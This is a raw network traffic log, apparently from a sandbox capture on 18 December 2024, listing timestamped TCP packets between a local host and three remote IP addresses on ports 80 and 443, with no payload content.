Dec 18, 2024 15:56:32.649434090 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.649503946 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.653367043 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.653537035 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.653623104 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.672142029 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.684048891 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.684082031 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.684145927 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.705229998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.705295086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.705452919 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.705630064 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.705761909 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.705801964 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.706267118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.706330061 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.706397057 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.707032919 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.707093954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.707159996 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.707707882 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.708106995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.708276987 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.708391905 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.708548069 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.709146976 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.709204912 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.709208012 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.709665060 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.709861994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.709924936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.709989071 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.710556030 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.710695028 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.710764885 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.711289883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.711416006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.711951971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.712033987 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.712193966 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.712682962 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.712770939 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.712770939 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.712908983 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.713376999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.713481903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.713537931 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.714116096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.714163065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.714226007 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.714817047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.714885950 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.714926958 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.715653896 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.716053963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.716139078 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.716362000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.716439009 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.716485023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.717154980 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.717250109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.717297077 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.717727900 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.717844963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.717901945 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.718336105 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.718463898 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.718552113 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.719145060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.719280958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.719837904 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.719891071 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.719897032 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.719960928 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.720535994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.720607996 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.720690966 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.721276999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.721442938 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.721508026 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.721987009 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.722043037 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.722112894 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.722651958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.722758055 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.722825050 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.723391056 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.723445892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.723500967 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.724092960 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.724205017 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.724858046 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.724925041 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.724952936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.725465059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.725523949 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.725641012 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.725733995 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.726171970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.726274967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.726366997 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.726876974 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.727103949 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.727226973 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.727386951 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.727583885 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.727679968 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.727844000 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.728260994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.728353977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.728986979 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.729038954 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.729070902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.729718924 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.729758024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.729765892 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.729845047 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.729995966 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.730412960 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.730529070 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.730875969 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.731142044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.731251001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.731301069 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.731812954 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.731947899 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.732110023 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.732655048 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.732733011 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.733134985 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.733273029 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.733489990 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.733817101 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.733966112 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.734054089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.734127045 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.734680891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.734782934 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.734832048 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.735371113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.735438108 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.735572100 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.736104965 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.736215115 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.736262083 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.736855984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.736907959 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.736952066 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.737533092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.737586021 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.737731934 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.738226891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.738303900 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.738349915 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.738975048 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.739104033 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.739181042 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.739675045 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.739770889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.739866972 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.740432024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.740488052 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.740544081 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.741154909 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.741210938 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.741363049 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.741786957 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.741916895 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.741985083 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.742539883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.743567944 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.755984068 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.756000042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.756063938 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.757356882 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.757421017 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.757472038 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.757882118 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.760399103 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.760467052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.760529041 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.763446093 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.763550997 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.763699055 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.763699055 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.766501904 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.766561985 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.766732931 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.766840935 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.769366026 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.769386053 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.769428015 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.772161007 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.772259951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.772264004 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.772308111 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.774954081 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.775060892 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.775089025 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.775376081 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.777839899 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.777919054 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.778058052 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.778115034 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.781328917 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.781353951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.781397104 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.781430006 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.781491041 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.781514883 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.784506083 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.784574032 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.784594059 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.784677982 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.786933899 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.786990881 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.787053108 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.788893938 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.788964987 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.788973093 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.789021015 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.791619062 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.791760921 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.791949034 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.792081118 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.793478966 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.793538094 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.793576956 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.793638945 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.796196938 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.796262980 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.796423912 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.796477079 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.798804045 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.798888922 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.798924923 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.798966885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.801444054 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.801512957 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.801569939 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.803966999 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.804049015 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.804084063 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.804136992 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.806638956 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.806693077 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.806708097 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.806735039 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.809303999 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.809362888 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.809401035 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.809470892 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.811187983 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.811259031 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.811284065 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.811378002 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.813102961 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.813205004 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.813234091 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.813261032 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.814938068 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.815010071 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.815260887 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.815671921 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.816883087 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.816945076 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.817017078 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.818799973 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.818860054 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.818907976 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.819875956 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.819916010 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.819940090 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.819971085 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.820024014 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.820142984 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.820647955 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.820710897 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.820802927 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.820822954 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.820822954 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.820842981 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.820851088 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.820852995 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.822750092 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.822829962 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.822841883 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.822913885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.824510098 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.824561119 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.824582100 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.824719906 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.826410055 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.826452017 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.826539993 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.828300953 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.828360081 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.828398943 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.828450918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.830229998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.830257893 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.830296040 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.830308914 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.832259893 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.832330942 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.832400084 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.834141970 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.834153891 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.834213018 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.835985899 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.836172104 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.836263895 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.837841034 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.837928057 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.837971926 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.838022947 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.839720011 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.841840982 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.897330046 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.897367001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.897439003 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.897649050 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.897830009 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.897885084 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.898000956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.898516893 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.898580074 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.898691893 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.899180889 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.899296999 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.899364948 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.899897099 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.900048971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.900152922 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.900908947 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.901015997 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.901057005 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.901926041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.902074099 CET	49801	80	192.168.2.10	185.185.71.170
